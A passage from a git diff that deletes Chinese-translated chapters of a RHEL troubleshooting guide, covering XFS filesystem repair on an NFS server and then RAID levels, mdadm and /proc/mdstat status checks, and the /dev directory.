systemctl stop nfs - -``` - -一旦 NFS 服务停止,其余的步骤是相同的: - -```sh -[nfs]# umount /nfs -[nfs]# xfs_repair /dev/md0/nfs -Phase 1 - find and verify superblock... -Phase 2 - using internal log - - zero log... - - scan filesystem freespace and inode maps... - - found root inode chunk -Phase 3 - for each AG... - - scan and clear agi unlinked lists... - - process known inodes and perform inode discovery... - - agno = 0 - - agno = 1 - - agno = 2 - - agno = 3 - - process newly discovered inodes... -Phase 4 - check for duplicate blocks... - - setting up duplicate extent list... - - check for inodes claiming duplicate blocks... - - agno = 0 - - agno = 1 - - agno = 2 - - agno = 3 -Phase 5 - rebuild AG headers and trees... - - reset superblock... -Phase 6 - check inode connectivity... - - resetting contents of realtime bitmap and summary inodes - - traversing filesystem ... - - traversal finished ... - - moving disconnected inodes to lost+found ... -Phase 7 - verify and correct link counts... -done - -``` - -一旦文件系统被修复,我们可以简单地重新挂载它,如下所示: - -```sh -[nfs]# mount /nfs -[nfs]# mount | grep /nfs -nfsd on /proc/fs/nfsd type nfsd (rw,relatime) -/dev/mapper/md0-nfs on /nfs type xfs (rw,relatime,seclabel,attr2,inode64,noquota) - -``` - -在重新安装`/nfs`文件系统之后,我们可以看到选项显示`rw`,这意味着它是`Read-Writable`。 - -### 恢复/(根)文件系统 - -文件系统`/`或`root`有一点不同。 它之所以不同,是因为顶层文件系统包含了大多数 Linux 包、二进制文件和命令。 这意味着我们不能简单地卸载这个文件系统而不丢失重新安装它所需的工具。 - -由于这个原因,我们实际上会使用`mount`命令重新挂载`/`文件系统,而不需要先卸载它: - -```sh -[nfs]# mount -o remount / - -``` - -为了告诉`mount`命令卸载然后重新安装文件系统,我们只需要传递`–o`(选项)标志,然后传递选项`remount`。 `–o`标志允许您从命令行传递文件系统选项,如`rw`或`ro`。 当我们重新挂载/文件系统时,我们只是简单地传递了 remount 文件系统选项: - -```sh -# mount | grep root -/dev/mapper/md0-root on / type xfs (rw,relatime,seclabel,attr2,inode64,noquota) - -``` - -如果使用`mount`命令显示已挂载的文件系统,则可以验证`/`文件系统是否已使用`Read-Write`访问权限重新挂载。 由于文件系统类型是`xfs`,重新挂载应该导致文件系统执行一致性检查和修复。 如果我们对`/`文件系统的完整性有任何怀疑,我们的下一步应该是简单地重新启动 NFS 服务器。 - -如果服务器无法挂载`/`文件系统,则将自动调用`xfs_repair`实用程序。 - -# 验证 - -此时,我们可以看到 NFS 服务器的文件系统问题已经恢复。 现在我们应该验证我们的 NFS 客户机是否能够写入 NFS 共享。 但是在我们这样做之前,我们还应该首先重新启动我们之前停止的 NFS 服务: - -```sh -[nfs]# systemctl start nfs -[nfs]# systemctl status nfs -nfs-server.service - NFS server and services - Loaded: loaded (/usr/lib/systemd/system/nfs-server.service; enabled) - Active: active (exited) since Mon 2015-04-27 22:20:46 MST; 6s ago - Process: 2278 ExecStopPost=/usr/sbin/exportfs -f (code=exited, status=0/SUCCESS) - Process: 3098 ExecStopPost=/usr/sbin/exportfs -au (code=exited, status=1/FAILURE) - Process: 3095 ExecStop=/usr/sbin/rpc.nfsd 0 (code=exited, status=0/SUCCESS) - Process: 3265 ExecStart=/usr/sbin/rpc.nfsd $RPCNFSDARGS (code=exited, status=0/SUCCESS) - Process: 3264 ExecStartPre=/usr/sbin/exportfs -r (code=exited, status=0/SUCCESS) - Main PID: 3265 (code=exited, status=0/SUCCESS) - CGroup: /system.slice/nfs-server.service - -``` - -一旦 NFS 服务启动,我们就可以在客户端使用`touch`命令进行测试: - -```sh -[db]# touch /data/testfile.txt -[db]# ls -la /data/testfile.txt --rw-r--r--. 1 root root 0 Apr 28 05:24 /data/testfile.txt - -``` - -看来我们已经成功地解决了这个问题。 - -作为边注,如果我们注意到对 NFS 共享的请求花费了很长时间,那么可能需要在客户端卸载并挂载 NFS 共享。 如果 NFS 客户端没有识别 NFS 服务器已经重新启动,这是一个常见问题。 - -# 总结 - -在本章中,我们深入探讨了如何挂载文件系统、如何配置 NFS 以及在文件系统进入`Read-Only`模式时应该做什么。 我们甚至更进一步,手动修复物理磁盘设备有问题的文件系统。 - -在下一章中,我们将通过排除硬件故障进一步讨论这个问题。 这意味着查看硬件消息的日志,对硬盘驱动器 RAID 集进行故障排除,以及许多其他与硬件相关的故障排除步骤。* \ No newline at end of file diff --git a/docs/rhel-troubleshoot-guide/08.md b/docs/rhel-troubleshoot-guide/08.md deleted file mode 100644 index 52eda23d..00000000 --- a/docs/rhel-troubleshoot-guide/08.md +++ /dev/null @@ -1,1212 +0,0 @@ -# 八、硬件故障排除 - -在上一章中,我们确定了 NFS 上的文件系统被挂载为**Read-Only**。 为了确定原因,我们对 NFS 和文件系统进行了大量的故障排除。 我们使用`showmount`等命令查看可用的 NFS 共享,使用`mount`命令显示已挂载的文件系统。 - -一旦我们确定了问题,我们就可以使用`fsck`命令来执行文件系统检查并恢复文件系统。 - -在本章中,我们将继续从[第 7 章](07.html#19UOO2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 7. Filesystem Errors and Recovery")、*文件系统错误和恢复*出发,调查一个硬件设备故障。 本章将涵盖许多必要的日志文件和工具,这些文件和工具不仅用于确定是否发生了硬件故障,还用于确定发生故障的原因。 - -# 从一个日志条目开始 - -在[第 7 章](07.html#19UOO2-8ae10833f0c4428b9e1482c7fee089b4 "Chapter 7. Filesystem Errors and Recovery"),*文件系统错误和恢复*中,当查看`/var/log/messages`日志文件来识别 NFS 服务器文件系统的问题时,我们注意到以下消息: - -```sh -Apr 26 10:25:44 nfs kernel: md/raid1:md127: Disk failure on sdb1, disabling device. -md/raid1:md127: Operation continuing on 1 devices. -Apr 26 10:25:55 nfs kernel: md: unbind -Apr 26 10:25:55 nfs kernel: md: export_rdev(sdb1) -Apr 26 10:27:20 nfs kernel: md: bind -Apr 26 10:27:20 nfs kernel: md: recovery of RAID array md127 -Apr 26 10:27:20 nfs kernel: md: minimum _guaranteed_ speed: 1000 KB/sec/disk. -Apr 26 10:27:20 nfs kernel: md: using maximum available idle IO bandwidth (but not more than 200000 KB/sec) for recovery. -Apr 26 10:27:20 nfs kernel: md: using 128k window, over a total of 511936k. -Apr 26 10:27:20 nfs kernel: md: md127: recovery done. - -``` - -以上提示信息表示 RAID 设备`/dev/md127`出现故障。 由于前一章只关注文件系统本身的问题,所以我们没有进一步研究 RAID 设备故障。 在本章中,我们将调查以确定原因和解决办法。 - -为了开始调查,我们应该首先查看原始日志消息,因为这些消息可以告诉我们关于 RAID 设备的状态的相当多信息。 - -首先,让我们将这些消息分成如下小部分: - -```sh -Apr 26 10:25:44 nfs kernel: md/raid1:md127: Disk failure on sdb1, disabling device. -md/raid1:md127: Operation continuing on 1 devices. - -``` - -第一个日志消息实际上很能说明问题。 显示的第一个关键信息是关于`(md/raid1:md127)`的 RAID 设备。 - -通过这个装置的名字,我们已经知道了很多。 我们知道的第一件事是,这个 RAID 设备是由 Linux 的软件 RAID 系统**多设备驱动程序**(**md**)创建的。 这个系统允许 Linux 取两个独立的磁盘,并对它们应用一个 RAID。 - -由于我们将在本章主要与 RAID 打交道,我们首先应该理解什么是 RAID 以及它是如何工作的。 - -# 什么是 RAID? - -**独立磁盘冗余阵列**(**RAID**)通常是基于软件或硬件的系统,它允许用户将多个磁盘作为一个设备使用。 RAID 可以通过多种方式配置,从而实现更大的数据冗余和性能。 - -这种配置通常被称为 RAID 级别。 不同类型的 RAID 级别提供不同的功能,可以更好地了解 RAID 级别。 让我们来探索一些常用的方法。 - -## RAID 0 -分条 - -RAID 0 是最容易理解的 RAID 级别之一。 RAID 0 的工作方式是将多个磁盘组合成一个。 当数据写入 RAID 设备时,数据会被分裂,并写入各个硬盘。 为了更好地理解这一点,让我们构建一个简单的场景。 - -* 如果我们有一个由 5 个 500gb 驱动器组成的简单 RAID 0 设备,我们的 RAID 设备将是所有 5 个驱动器的大小——2500 GB 或 2.5 TB。 如果我们要向 RAID 设备写入一个 50 MB 的文件,那么将有 10 MB 的文件数据同时写入每个磁盘。 - -这个过程通常称为**分条**。 在相同的上下文中,当从 RAID 设备读取 50mb 的文件时,每个磁盘也将同时处理读取请求。 - -将一个文件拆分并同时将其部分处理到每个磁盘的能力为写或读请求提供了更好的性能。 事实上,因为我们有 5 个磁盘,所以请求的速度要快 5 的倍数。 - -一个简单的类比是,如果你让五个人以相同的速度建造一堵墙,他们的速度将是一个人建造同样一堵墙的速度的五倍。 - -虽然 RAID 0 提供了性能,但它不提供任何数据保护。 如果该 RAID 中的单个硬盘故障,则该硬盘的数据不可用,可能导致 RAID 0 的数据丢失。 - -## RAID 1 -镜像 - -RAID 1 是另一个简单 RAID 级别。 与 RAID 0 中的驱动器组合不同,RAID 1 中的驱动器是镜像的。 RAID 1 通常由两个或多个硬盘组成。 当数据写入 RAID 设备时,数据会完整地写入每个设备。 - -这个过程被称为**镜像**,因为数据基本上是在所有驱动器上镜像的: - -* 使用与前面相同的场景,如果在 RAID 1 配置中有 5 个 500gb 磁盘驱动器,那么总磁盘大小将是 500gb。 当我们将相同的 50 MB 文件写入 RAID 设备时,每个驱动器将得到这个 50 MB 文件的自己的副本。 -* 这也意味着写请求将只与 RAID 中最慢的驱动器一样快。 对于 RAID 1,每个磁盘都必须完成写请求才能被认为完成。 -* 然而,读请求可以由任何一个 RAID 1 驱动器提供。 因此,RAID 1 有时可以更快地提供读请求,因为每个请求可以由 RAID 中的不同驱动器执行。 - -RAID 1 提供最高级别的数据弹性,因为它只需要一个磁盘驱动器在故障期间保持活动。 使用我们的 5 个磁盘场景,我们可以丢失 5 个磁盘中的 4 个,但仍然可以重建并使用 RAID。 这就是为什么当数据保护比硬盘性能更重要时,应该使用 RAID 1。 - -## RAID 5 -分条分布式奇偶校验 - -**RAID 5**是难以理解的 RAID 级别的一个例子。 RAID 5 的工作原理是将数据分条到多个硬盘(例如 RAID 0),但它也包括奇偶校验。 奇偶校验数据是对写入 RAID 设备的数据进行排他或操作而产生的一种特殊数据。 生成的数据可用于从另一个驱动器重新生成丢失的数据。 - -* 使用我们之前做过的相同的例子,我们在 RAID 5 配置中有 5 个 500gb 的硬盘,如果我们再次写入一个 50mb 的文件,每个磁盘将接收 10mb 的数据; 这和 RAID 0 完全一样。 然而,与 RAID 0 不同的是,奇偶校验数据也会写入每个磁盘。 由于有额外的奇偶数据,RAID 可用的总数据大小是四个驱动器的总和,其中一个驱动器的数据值分配给奇偶。 在我们的情况下,这意味着 2tb 可用磁盘空间,500 GB 用于奇偶校验。 - -通常,存在一种误解,认为奇偶校验数据被写入具有 RAID 5 的专用驱动器。 但事实并非如此。 奇偶校验数据的大小相当于一个完整磁盘的空间大小。 然而,这些数据分布在所有磁盘上。 - -使用 RAID 5 而不是 RAID 0 的一个原因是,如果单个驱动器故障,可以重建数据。 RAID 5 的唯一问题是如果两个硬盘故障,RAID 无法重建,可能会导致数据丢失。 - -## RAID 6 -分条,双分布式奇偶校验 - -**RAID 6**本质上是与 RAID 5 相同类型的 RAID; 但是,校验数据增加了一倍。 通过将校验数据加倍,RAID 最多可以支持 2 次硬盘故障。 由于奇偶校验是双倍的,如果我们将 5 个 500gb 的硬盘驱动器放入 RAID 6 配置中,可用磁盘空间将是 1.5 TB,即 3 个驱动器的总和; 另外 1tb 的数据空间将被两组校验数据占用。 - -## RAID 10 -镜像和条纹 - -**RAID 10**(通常称为 RAID 1 + 0)是另一个非常常见的 RAID 级别。 RAID 10 本质上是 RAID 1 和 RAID 0 的结合。 在 RAID 10 中,每个磁盘都有一个镜像,数据在所有镜像驱动器上条带化。 为了解释这一点,我们将使用一个类似于上面的例子; 然而,我们将用 6 个 500 GB 的驱动器来做这件事。 - -* 如果我们要写一个 30 MB 的文件,它将被分成 10 MB 的块,并分条到三个 RAID 设备上。 这些 RAID 设备为 RAID 1 镜像。 本质上,RAID 10 是在 RAID 0 配置中排列在一起的许多 RAID 1 设备。 - -配置 RAID 10 可以很好地平衡性能和数据保护。 为了使一个完全的失败发生,一个镜像的两面都必须失败; 这意味着 RAID 1 的两个方面。 - -考虑到 RAID 中的磁盘数量,这种情况发生的可能性比 RAID 5 要小。 从性能的角度来看,RAID 10 仍然受益于分条方法,并且能够通过提高写速度将单个文件的不同块写入每个磁盘。 - -RAID 10 还得益于拥有两个具有相同数据的硬盘; 与 RAID 1 一样,当发出读请求时,任何一个磁盘都可以处理该请求,允许每个磁盘独立处理并发读请求。 - -RAID 10 的缺点是,虽然它通常可以满足或超过 RAID 5 的性能,但通常需要更多的硬件来实现这一点,因为每个磁盘都是镜像的,您会将总磁盘空间的一半损失给 RAID。 - -在前面的示例中,RAID 10 配置中 6 个 500gb 驱动器的可用空间为 1.5 TB。 简单地说,它是磁盘容量的 50%。 对于 RAID 5 来说,4 个硬盘的容量是相同的。 - -# 回到 RAID 故障诊断 - -现在我们对 RAID 和不同配置有了更好的理解,让我们回过头来研究我们的错误。 - -```sh -Apr 26 10:25:44 nfs kernel: md/raid1:md127: Disk failure on sdb1, disabling device. -md/raid1:md127: Operation continuing on 1 devices. - -``` - -从前面的错误中,我们可以看到我们的 RAID 设备是**md127**。 我们还可以看到该设备是 raid1 设备(`md/raid1`)。 消息提示*操作继续在 1 个设备上*,意味着镜像的第二部分仍在运行。 - -好的方面是,如果镜像的两边都不可用,那么 RAID 将完全失败,并导致更糟糕的问题。 - -由于我们现在知道了受影响的 RAID 设备、所使用的 RAID 类型,甚至故障的硬盘,因此我们有相当多的关于该故障的信息。 如果我们继续查看`/var/log/messages`的日志条目,我们可以发现更多: - -```sh -Apr 26 10:25:55 nfs kernel: md: unbind -Apr 26 10:25:55 nfs kernel: md: export_rdev(sdb1) -Apr 26 10:27:20 nfs kernel: md: bind -Apr 26 10:27:20 nfs kernel: md: recovery of RAID array md127 -Apr 26 10:27:20 nfs kernel: md: minimum _guaranteed_ speed: 1000 KB/sec/disk. - -``` - -上面的消息很有趣,因为它们表明 MD Linux 软件 RAID 服务试图恢复 RAID: - -```sh -Apr 26 10:25:55 nfs kernel: md: unbind - -``` - -在这部分日志的第一行中,似乎设备`sdb1`已经从 RAID 中移除: - -```sh -Apr 26 10:27:20 nfs kernel: md: bind - -``` - -然而,第三行表示设备`sdb1`已经重新添加到 RAID 或“**绑定**”到 RAID。 - -第四行和第五行显示 RAID 开始恢复步骤: - -```sh -Apr 26 10:27:20 nfs kernel: md: recovery of RAID array md127 -Apr 26 10:27:20 nfs kernel: md: minimum _guaranteed_ speed: 1000 KB/sec/disk. - -``` - -## RAID 恢复原理 - -前面我们讨论了各种 RAID 级别如何从丢失的设备中重建和恢复数据。 这可以通过校验数据或镜像数据来实现。 - -当 RAID 设备失去其中一个驱动器,并且该驱动器被替换或重新添加到 RAID 时,RAID 管理器(无论是软件 RAID 还是硬件 RAID)将开始重建数据。 此重建的目标是重新创建丢失驱动器上的数据。 - -如果该 RAID 组为镜像 RAID 组,则会将可用镜像磁盘上的数据读写到替换后的磁盘上。 - -对于基于校验的 RAID,重建将基于在 RAID 中分割的幸存数据和 RAID 中的校验数据。 - -在基于对等的 raid 的重建过程中,任何额外的故障都可能导致重建失败。 对于基于镜像的 raid,只要有一个用于重建的数据的完整副本,就可以在任何磁盘上发生故障。 - -在捕获的日志消息的末尾,我们可以看到重建是成功的: - -```sh -Apr 26 10:27:20 nfs kernel: md: md127: recovery done. - -``` - -根据在前一章中找到的日志消息的结尾,RAID`device /dev/md127`似乎是健康的。 - -## 检查当前 RAID 状态 - -虽然`/var/log/messages`是查看服务器上发生了什么事情的很好的方法,但这并不一定意味着这些日志消息对于 RAID 的当前状态是准确的。 - -为了查看 RAID 设备的当前状态,我们可以运行一些命令。 - -我们将使用的第一个命令是`mdadm`命令: - -```sh -[nfs]# mdadm --detail /dev/md127 -/dev/md127: - Version : 1.0 - Creation Time : Wed Apr 15 09:39:22 2015 - Raid Level : raid1 - Array Size : 511936 (500.02 MiB 524.22 MB) - Used Dev Size : 511936 (500.02 MiB 524.22 MB) - Raid Devices : 2 - Total Devices : 1 - Persistence : Superblock is persistent - - Intent Bitmap : Internal - - Update Time : Sun May 10 06:16:10 2015 - State : clean, degraded - Active Devices : 1 -Working Devices : 1 - Failed Devices : 0 - Spare Devices : 0 - - Name : localhost:boot - UUID : 7adf0323:b0962394:387e6cd0:b2914469 - Events : 52 - - Number Major Minor RaidDevice State - 0 8 1 0 active sync /dev/sda1 - 2 0 0 2 removed - -``` - -`mdadm`命令用于管理 Linux MD 型 raid。 在前面的命令中,我们指定了标志`--detail`,后面跟着一个 RAID 设备。 这告诉`mdadm`打印指定 RAID 设备的详细信息。 - -`mdadm`命令可以执行的不仅仅是打印状态; 它还可以用于执行 RAID 活动,如创建、销毁或修改 RAID 设备。 - -为了理解`--detail`标志的输出,让我们将上面的输出分解如下: - -```sh -/dev/md127: - Version : 1.0 - Creation Time : Wed Apr 15 09:39:22 2015 - Raid Level : raid1 - Array Size : 511936 (500.02 MiB 524.22 MB) - Used Dev Size : 511936 (500.02 MiB 524.22 MB) - Raid Devices : 2 - Total Devices : 1 - Persistence : Superblock is persistent - -``` - -第一部分告诉我们相当多关于 RAID 本身的信息。 要注意的重要项目是`Creation Time`,在本例中是上午 9:39 的`Wed April 15th` 这告诉我们 RAID 是何时首次创建的。 - -还注意到`Raid Level`,正如我们在`/var/log/messages`中看到的,它是 RAID 1。 我们还可以看到`Array Size`,它告诉我们 RAID 设备将提供的总可用磁盘空间(524 MB)以及在该 RAID 阵列中使用的`Raid Devices`的数量,在本例中是两个设备。 - -组成该 RAID 的设备数量非常重要,因为它可以帮助我们理解该 RAID 的状态。 - -由于我们的 RAID 总共由两个设备组成,如果其中任何一个设备故障,我们知道,如果剩余的磁盘丢失,我们的 RAID 将面临完全故障的风险。 但是,如果我们的 RAID 由三个设备组成,我们就会知道即使丢失两个磁盘也不会导致完全的 RAID 故障。 - -仅仅从`mdadm`命令的前半部分,我们就可以看到关于这个 RAID 的相当多的信息。 从下半年开始,我们将发现更多的关键信息,如下: - -```sh - Intent Bitmap : Internal - - Update Time : Sun May 10 06:16:10 2015 - State : clean, degraded - Active Devices : 1 -Working Devices : 1 - Failed Devices : 0 - Spare Devices : 0 - - Name : localhost:boot - UUID : 7adf0323:b0962394:387e6cd0:b2914469 - Events : 52 - - Number Major Minor RaidDevice State - 0 8 1 0 active sync /dev/sda1 - 2 0 0 2 removed - -``` - -`Update Time`很有用,因为它显示了该 RAID 最近一次更改状态的时间,无论该状态更改是添加磁盘还是重新构建。 - -这个时间戳可能很有用,特别是当我们试图将它与`/var/log/messages`中的日志条目或其他系统事件关联起来时。 - -另一个关键信息是`RAID Device State`,在我们的例子中,它是干净的、退化的。 降级状态意味着当 RAID 的设备失效时,RAID 本身仍然有效。 降级只是指功能正常但不理想。 - -如果我们的 RAID 设备现在正在积极地重建或恢复,我们也会看到列出的那些状态。 - -在当前状态输出下,我们可以看到四个设备类别,它们告诉我们用于该 RAID 的硬盘。 第一个是`Active Devices`; 它告诉我们 RAID 中当前活动的驱动器数量。 - -二是`Working Devices`; 这告诉我们工作驱动器的数量。 通常,`Working Devices`和`Active Devices`的数量是一样的。 - -第四项是`Failed Devices`; 这是当前标记为失败的设备数量。 即使我们的 RAID 当前有一个失败的设备,这个数字是`0`。 这有一个合理的原因,但我们将在后面介绍这个原因。 - -我们列表中的最后一项是`Spare Devices`的数量。 在某些 RAID 系统中,可以创建备用设备,用于在驱动器故障等事件中重建 RAID。 - -这些备用设备可以派上用场,因为 RAID 系统通常会自动重建 RAID,这减少了 RAID 完全失败的可能性。 - -通过`mdadm`输出的最后两行,我们可以看到组成 RAID 的驱动器的信息: - -```sh - Number Major Minor RaidDevice State - 0 8 1 0 active sync /dev/sda1 - 2 0 0 2 removed - -``` - -从输出中,我们可以看到有一个磁盘设备`/dev/sda1`当前处于活动的同步状态。 我们还可以看到另一个设备已经从 RAID 中删除。 - -### 总结关键信息 - -从`mdadm --detail`的输出可以看出`/dev/md127`是一个 RAID 级别为 1 的 RAID 设备,当前处于降级状态。 我们可以从细节中看到降级状态是由于组成 RAID 的一个驱动器当前被移除的事实。 - -## 通过/proc/mdstat 查看 md 状态 - -寻找 MD 当前状态的另一个有用的地方是`/proc/mdstat`; 这个文件,像`/proc`中的许多文件一样,由内核不断更新。 如果我们使用`cat`命令读取该文件,我们可以快速查看服务器当前的 RAID 状态: - -```sh -[nfs]# cat /proc/mdstat -Personalities : [raid1] -md126 : active raid1 sda2[0] - 7871488 blocks super 1.2 [2/1] [U_] - bitmap: 1/1 pages [4KB], 65536KB chunk - -md127 : active raid1 sda1[0] - 511936 blocks super 1.0 [2/1] [U_] - bitmap: 1/1 pages [4KB], 65536KB chunk - -unused devices: - -``` - -`/proc/mdstat`的内容有些神秘,但如果我们将其分解,它包含了相当多的信息。 - -```sh -Personalities : [raid1] - -``` - -第一行`Personalities`告诉我们这个系统上的内核当前支持哪些 RAID 级别。 在我们的例子中,它是 raid1: - -```sh -md126 : active raid1 sda2[0] - 7871488 blocks super 1.2 [2/1] [U_] - bitmap: 1/1 pages [4KB], 65536KB chunk - -``` - -下一组行是`/dev/md126`的当前状态,这是系统上的另一个 RAID 设备,我们还没有查看它。 这三行实际上可以给我们很多关于`md126`的信息; 事实上,它们给我们的信息与`mdadm --detail`告诉我们的差不多。 - -```sh -md126 : active raid1 sda2[0] - -``` - -在第一行中,我们可以看到设备名称`md126`。 我们可以看到 RAID 的当前状态,它是活动的。 我们还可以看到 RAID 设备 RAID 1 的 RAID 级别。 最后,我们还可以看到组成这个 RAID 的磁盘设备; 在我们的例子中,它只有`sda2`。 - -第二行还包含如下关键信息: - -```sh - 7871488 blocks super 1.2 [2/1] [U_] - -``` - -具体来说,最后两个值对我们当前的任务最有用,`[2/1]`显示有多少磁盘设备分配给这个 RAID,以及有多少磁盘设备可用。 从示例中的值可以看到,预期有 2 个驱动器,但只有 1 个驱动器可用。 - -最后一个值`[U_]`显示组成该 RAID 的驱动器的当前状态。 状态 U 代表向上,“`_`”代表向下。 - -在我们的示例中,我们可以看到一个磁盘设备打开,另一个关闭。 - -根据上述信息,我们能够确定 RAID 设备`/dev/md126`当前处于活动状态; 它正在使用 RAID 级别 1,目前有两个硬盘之一不可用。 - -如果我们继续查看`/proc/mdstat`文件,我们可以看到`md127`的类似状态。 - -### 同时使用/proc/mdstat 和 mdadm - -经过`/proc/mdstat`和`mdadm --detail`,我们可以看到两者提供了相似的信息。 从的经验来看,我发现使用`mdstat`和`mdadm`都是有用的。 `/proc/mdstat`文件通常是我去一个快捷简单的快照的 RAID 设备系统,而`mdadm`命令通常是我用更深的 RAID 设备细节(如备用驱动器的数量细节,创建时间和最后更新时间)。 - -# 发现更大的问题 - -早些时候,当使用`mdadm`查看`md127`的当前状态时,我们可以看到 RAID 设备`md127`从服务中删除了一个磁盘。 在查看`/proc/mdstat`时,我们发现还有另一个 RAID 设备`/dev/md126`,它也从服务中删除了一个磁盘。 - -我们可以看到的另一个有趣的项目是 RAID 设备`/dev/md126`是一个幸存的磁盘:`/dev/sda1`。 这很有趣,因为`/dev/md127`存活的磁盘是`/dev/sda2`。 如果我们还记得前面的章节`/dev/sda1`和`/dev/sda2`只是来自同一个物理磁盘的两个分区。 假设两个 RAID 设备都有一个丢失的驱动器,并且我们的日志表明`/dev/md127`删除了`/dev/sdb1`并重新添加。 可能`/dev/md127`和`/dev/md126`都在使用来自`/dev/sdb`的分区。 - -由于`/proc/mdstat`对于 RAID 设备只有两种状态,up 和 down,我们可以使用`--detail`标志来确认第二块硬盘是否已经从`/dev/md126`中实际移除: - -```sh -[nfs]# mdadm --detail /dev/md126 -/dev/md126: - Version : 1.2 - Creation Time : Wed Apr 15 09:39:19 2015 - Raid Level : raid1 - Array Size : 7871488 (7.51 GiB 8.06 GB) - Used Dev Size : 7871488 (7.51 GiB 8.06 GB) - Raid Devices : 2 - Total Devices : 1 - Persistence : Superblock is persistent - - Intent Bitmap : Internal - - Update Time : Mon May 11 04:03:09 2015 - State : clean, degraded - Active Devices : 1 -Working Devices : 1 - Failed Devices : 0 - Spare Devices : 0 - - Name : localhost:pv00 - UUID : bec13d99:42674929:76663813:f748e7cb - Events : 5481 - - Number Major Minor RaidDevice State - 0 8 2 0 active sync /dev/sda2 - 2 0 0 2 removed - -``` - -从输出中,我们可以看到`/dev/md126`的当前状态和配置与`/dev/md127`完全相同。 有了这些信息,我们可以假设`/dev/md126`曾经有`/dev/sdb2`作为其 RAID 的一部分。 - -由于我们怀疑问题可能仅仅是单个硬盘驱动器有问题,我们需要验证是否确实如此。 第一步是确定是否真的存在`/dev/sdb`设备; 最快的方法是使用`ls`命令在`/dev`中执行目录列表: - -```sh -[nfs]# ls -la /dev/ | grep sd -brw-rw----. 1 root disk 8, 0 May 10 06:16 sda -brw-rw----. 1 root disk 8, 1 May 10 06:16 sda1 -brw-rw----. 1 root disk 8, 2 May 10 06:16 sda2 -brw-rw----. 1 root disk 8, 16 May 10 06:16 sdb -brw-rw----. 1 root disk 8, 17 May 10 06:16 sdb1 -brw-rw----. 1 root disk 8, 18 May 10 06:16 sdb2 - -``` - -我们可以从这个`ls`命令的结果中看到,实际上有一个`sdb`、`sdb1`和`sdb2`设备。 在进一步深入之前,让我们对`/dev`有一个更清晰的了解。 - -# 理解/开发 - -目录`/dev`是一个特殊的目录,内核在安装时在其中创建内容。 此目录包含允许用户或应用与物理设备(有时是逻辑设备)交互的特殊文件。 - -如果我们查看前面的`ls`命令的结果,我们可以看到在`/dev`目录中有几个以`sd`开头的文件。 - -在前一章中,我们了解到以`sd`开头的文件实际上被视为 SCSI 或 SATA 驱动器。 在我们的例子中,我们有`/dev/sda`和`/dev/sdb`; 这意味着,在这个系统上,有两个物理 SCSI 或 SATA 驱动器。 - -额外的设备`/dev/sda1`、`/dev/sda2`、`/dev/sdb1`和`/dev/sdb2`只是这些磁盘的分区。 实际上,对于磁盘驱动器,以数字值结尾的设备名称通常是另一个设备的分区,就像`/dev/sdb1`是`/dev/sdb`的分区一样。 当然,这一规则也有一些例外,但在对磁盘驱动器进行故障诊断时,这样做通常是安全的。 - -## 不仅仅是磁盘驱动器 - -`/dev/`目录包含的远不止磁盘驱动器。 如果我们看`/dev/`,我们实际上可以看到相当多的常见设备。 - -```sh -[nfs]# ls -F /dev -autofs hugepages/ network_throughput snd/ tty21 tty4 tty58 vcs1 -block/ initctl| null sr0 tty22 tty40 tty59 vcs2 -bsg/ input/ nvram stderr@ tty23 tty41 tty6 vcs3 -btrfs-control kmsg oldmem stdin@ tty24 tty42 tty60 vcs4 -bus/ log= port stdout@ tty25 tty43 tty61 vcs5 -cdrom@ loop-control ppp tty tty26 tty44 tty62 vcs6 -char/ lp0 ptmx tty0 tty27 tty45 tty63 vcsa -console lp1 pts/ tty1 tty28 tty46 tty7 vcsa1 -core@ lp2 random tty10 tty29 tty47 tty8 vcsa2 -cpu/ lp3 raw/ tty11 tty3 tty48 tty9 vcsa3 -cpu_dma_latency mapper/ rtc@ tty12 tty30 tty49 ttyS0 vcsa4 -crash mcelog rtc0 tty13 tty31 tty5 ttyS1 vcsa5 -disk/ md/ sda tty14 tty32 tty50 ttyS2 vcsa6 -dm-0 md0/ sda1 tty15 tty33 tty51 ttyS3 vfio/ -dm-1 md126 sda2 tty16 tty34 tty52 uhid vga_arbiter -dm-2 md127 sdb tty17 tty35 tty53 uinput vhost-net -fd@ mem sdb1 tty18 tty36 tty54 urandom zero -full mqueue/ sdb2 tty19 tty37 tty55 usbmon0 -fuse net/ shm/ tty2 tty38 tty56 usbmon1 -hpet network_latency snapshot tty20 tty39 tty57 vcs - -``` - -从这个`ls`的结果中,我们可以看到在`/dev`目录中有许多文件、目录和符号链接。 - -下面列出了一些常见的设备或目录,对了解和理解它们很有用: - -* **/dev/cdrom**:这通常是一个到`cdrom`设备的符号链接。 CD-ROM 的实际设备遵循类似于硬盘的命名约定,它以`sr`开始,然后是设备的编号。 我们可以看到`/dev/cdrom`符号链接与`ls`命令的位置: - - ```sh - [nfs]# ls -la /dev/cdrom - lrwxrwxrwx. 1 root root 3 May 10 06:16 /dev/cdrom -> sr0 - - ``` - -* **/dev/console**:该设备不一定链接到特定的硬件设备,如`/dev/sda`或`/dev/sr0`。 控制台设备用于与系统控制台交互,系统控制台可能是实际的监视器,也可能不是。 -* **/dev/cpu**:这实际上是一个目录,其中包含系统上每个 CPU 的附加目录。 在这些目录中有一个`cpuid`文件,用于查询 CPU 信息: - - ```sh - [nfs]# ls -la /dev/cpu/0/cpuid - crw-------. 1 root root 203, 0 May 10 06:16 /dev/cpu/0/cpuid - - ``` - -* **/dev/md**:这是另一个包含符号链接的目录,这些符号链接具有用户友好的名称,链接到实际的 RAID 设备。 如果我们使用`ls`,我们可以看到这个系统上可用的 RAID 设备: - - ```sh - [nfs]# ls -la /dev/md/ - total 0 - drwxr-xr-x. 2 root root 80 May 10 06:16 . - drwxr-xr-x. 20 root root 3180 May 10 06:16 .. - lrwxrwxrwx. 1 root root 8 May 10 06:16 boot -> ../md127 - lrwxrwxrwx. 1 root root 8 May 10 06:16 pv00 -> ../md126 - - ``` - -* **/dev/random**和**/dev/urandom**:这两个设备用于生成随机数据。 `/dev/random`和`/dev/urandom`设备都将从内核的熵池中抽取随机数据。 这两个之间的一个区别是,当系统的熵计数较低时,`/dev/random`设备将等待,直到有足够的熵被重新添加。 - -如前所述,`/dev/`目录有许多有用的文件和目录。 然而,回到我们最初的问题,我们已经确定了`/dev/sdb`存在,并且有两个分区`/dev/sdb1`和`/dev/sdb2`。 - -然而,我们还没有确定`/dev/sdb`是否最初是两个 RAID 设备的一部分,目前处于降级状态。 为此,我们可以利用`dmesg`设备。 - -# 带有 dmesg 的设备消息 - -对于故障诊断硬件问题,`dmesg`命令是一个很好的命令。 